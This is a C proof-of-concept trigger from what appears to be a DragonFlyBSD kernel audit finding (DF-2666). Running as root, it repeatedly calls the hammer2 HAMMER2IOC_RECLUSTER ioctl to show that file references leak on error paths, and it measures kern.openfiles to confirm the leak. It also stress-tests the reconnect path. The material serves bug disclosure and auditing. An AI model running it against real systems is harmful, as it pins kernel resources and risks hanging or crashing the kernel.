โฌข DragonFlyBSD Kernel Audit
DF-2666 / df2666_trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-2666 PoC โ€” HAMMER2IOC_RECLUSTER leaks the holdfp() file reference
 * on error returns in hammer2_ioctl_recluster() (sys/vfs/hammer2/
 * hammer2_ioctl.c:212-236).
 *
 * hammer2_cluster_reconnect() (hammer2_iocom.c:74-85 -> kern_dmsg.c:128-131)
 * documents a one-way ownership transfer: "The caller must ref the fp for
 * us ... We own that ref now."  hammer2_ioctl_recluster() takes that ref
 * with holdfp() and transfers it ONLY on the two success branches.  On
 * both error branches:
 *
 *   (a) VFS_ROOT() failure            (hammer2_ioctl.c:214, 232)
 *   (b) EINVAL: focus==NULL &&
 *       !(nchains==1 && array[0])     (hammer2_ioctl.c:226-231)
 *
 * ...the function returns without fdrop()ing โ€” every such call pins one
 * struct file (and whatever it references) forever.
 *
 * This trigger:
 *   1. mounts a plain hammer2 volume (no cluster_fd),
 *   2. loops HAMMER2IOC_RECLUSTER with recl->fd = /dev/null,
 *      reporting per-call errno,
 *   3. samples kern.openfiles before/after (leak indicator: +N after N
 *      failing calls; healthy transfer: ~+1 total),
 *   4. as a bonus, hammers the reconnect path N times, stress-testing
 *      the kill/join/teardown ordering of kdmsg_iocom_reconnect()
 *      (kern_dmsg.c:133-167) โ€” a wedge or panic here would be its own
 *      finding.
 *
 * Root is required (caps_priv_check SYSCAP_NOVFS_IOCTL, hammer2_ioctl.c:83,
 * 89-91) โ€” the leak is privileged-only by construction.
 *
 * build: cc -O -I/usr/src/sys -o df2666_trigger df2666_trigger.c
 * run:   (root) ./df2666_trigger [iterations]
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/sysctl.h>
#include <sys/ioctl.h>
#include <vfs/hammer2/hammer2_ioctl.h>
#include <vfs/hammer2/hammer2_mount.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MOUNTPT		"/mnt/h2poc2666"
#define VOLUME		"/dev/vn0@testvol"

static long
openfiles(void)
{
	long v = -1;
	size_t l = sizeof(v);

	if (sysctlbyname("kern.openfiles", &v, &l, NULL, 0) < 0)
		warn("sysctl kern.openfiles");
	return (v);
}

int
main(int argc, char **argv)
{
	hammer2_ioc_recluster_t recl;
	struct hammer2_mount_info info;
	long iters = (argc > 1) ? strtol(argv[1], NULL, 0) : 2000;
	long before, after;
	int fd_m, fd_peer, i;
	int n_ok = 0, n_einval = 0, n_other = 0, last_errno = 0;

	memset(&info, 0, sizeof(info));
	info.volume = VOLUME;
	info.hflags = 0;
	info.cluster_fd = -1;

	if (mkdir(MOUNTPT, 0755) < 0 && errno != EEXIST)
		err(1, "mkdir " MOUNTPT);

	if (mount("hammer2", MOUNTPT, 0, &info) < 0)
		err(1, "mount(hammer2)");

	fd_m = open(MOUNTPT "/rcl", O_RDWR | O_CREAT, 0644);
	if (fd_m < 0)
		err(1, "open " MOUNTPT "/rcl");

	/* the fd whose reference the ioctl will (try to) transfer/leak */
	fd_peer = open("/dev/null", O_RDWR);
	if (fd_peer < 0)
		err(1, "open /dev/null");

	before = openfiles();
	printf("OPENFILES_BEFORE=%ld iters=%ld\n", before, iters);
	fflush(stdout);

	memset(&recl, 0, sizeof(recl));
	recl.fd = fd_peer;
	for (i = 0; i < iters; i++) {
		if (ioctl(fd_m, HAMMER2IOC_RECLUSTER, &recl) == 0) {
			n_ok++;
		} else {
			last_errno = errno;
			if (errno == EINVAL)
				n_einval++;	/* <- leak branch, if hit */
			else
				n_other++;
		}
	}

	after = openfiles();
	printf("OPENFILES_AFTER=%ld DELTA=%ld\n", after, after - before);
	printf("RECLUSTER_OK=%d RECLUSTER_EINVAL=%d RECLUSTER_OTHER=%d "
	       "LAST_ERRNO=%d (%s)\n", n_ok, n_einval, n_other, last_errno,
	       strerror(last_errno));
	printf("LEAK_INDICATOR: DELTA - 1 (one ref legally held by "
	       "iocom->msg_fp) = %ld\n", after - before - 1);
	fflush(stdout);

	/* control: fd that cannot be held -> holdfp fails, no ref taken */
	memset(&recl, 0, sizeof(recl));
	recl.fd = 999999;
	if (ioctl(fd_m, HAMMER2IOC_RECLUSTER, &recl) < 0)
		printf("BADFD_RC=%d (%s) [expected EINVAL, no leak]\n",
		       errno, strerror(errno));

	close(fd_peer);
	close(fd_m);
	sleep(1);
	if (unmount(MOUNTPT, 0) < 0)
		warn("unmount");
	else
		printf("UNMOUNT_OK\n");
	after = openfiles();
	printf("OPENFILES_POST_UNMOUNT=%ld (FINAL_DELTA=%ld)\n",
	       after, after - before);
	printf("TRIGGER_DONE\n");
	return (0);
}